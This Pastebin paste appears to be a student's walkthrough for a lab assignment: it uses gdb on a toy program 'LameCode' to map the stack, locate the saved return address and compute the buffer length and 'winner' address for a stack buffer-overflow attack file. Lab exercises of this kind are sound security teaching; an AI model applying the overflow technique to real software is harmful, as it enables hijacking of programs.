Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Disassembly:
- run 'gdb LameCode' in terminal
- disas main -> copy to assembly.txt
- disas beSuperficiallyFriendly -> copy to assembly.txt after the main assembly
- Stack:
- run 'gdb LameCode' in terminal
- br beSuperficiallyFriendly
- run
- it should break, the type 'ni' until it asks you for your name. Type in 'aaaaaaaaaaaaaaaaaaaaaaaa' (23 a's) and press enter
- now type 'x /16x $esp' this should show you the stack for beSuperficiallyFriendly, the addresses start at some 0xffff address, and right in the middle there should be a bunch of '0x61616161'. Those are where name is stored in your program.
- example output of 'x /16x $esp':
- 0xffff9990: 0xffffd990 0x08061cf0 0x08061cd0 0x08087cd0
- 0xffff99a0: 0x00000000 0x080e68c0 0x61616161 0x61616161 <-- name[24] starts at the first 61...
- 0xffff99b0: 0x61616161 0x61616161 0x61616161 0x00616161
- 0xffff99c0: 0xffffa800 0xffffdfac 0xffffd9f8 0x08068f80 <-- this is the return address
- make a file called stack.txt and format it like below, but fill in the actual values from 'x /16x $esp', and you should probably fill in the ...s, though if you're stretched for time, I imagine fiore would understand, because there's no comments for those variables.
- 0xffff9990 0xffffd990 $esp
- 0xffff9994 0x08061cf0
- 0xffff9998 0x08061cd0
- ...
- 0xffff99a8 0x61616161 start of name[24]
- ....
- 0xffff99bc 0x00616161 end of name[24]
- ...
- 0xffff99c4 0xffffdfac $ebp
- 0xffff99c8 0xffffd9f8 old $ebp
- 0xffff99cc 0x08068f80 return address
- That return address is what you want to overwrite with the address of winner.
- You can find the address of winner by looking at your disassembly of main. There's a line that looks like
- 0xSOME RANDY ADDRESS <+52>: call 0xADDRESS <winner>
- !!!! 0xADDRESS is the number you want to copy to attack.c (0xADDRESS is something like 0x08048730)
- !!!! and 0xffff99d0 - 0xffff99a8 = 40 is the number you want for BUF_LEN
- #define BUF_LEN 40 /* INSERT BUFFER LENGTH HERE */
- #define WINNER_ADDR 0xADDRESS /* INSERT ADDRESS OF THE WINNER FUNCTION HERE */
Advertisement
Add Comment
Please, Sign In to add comment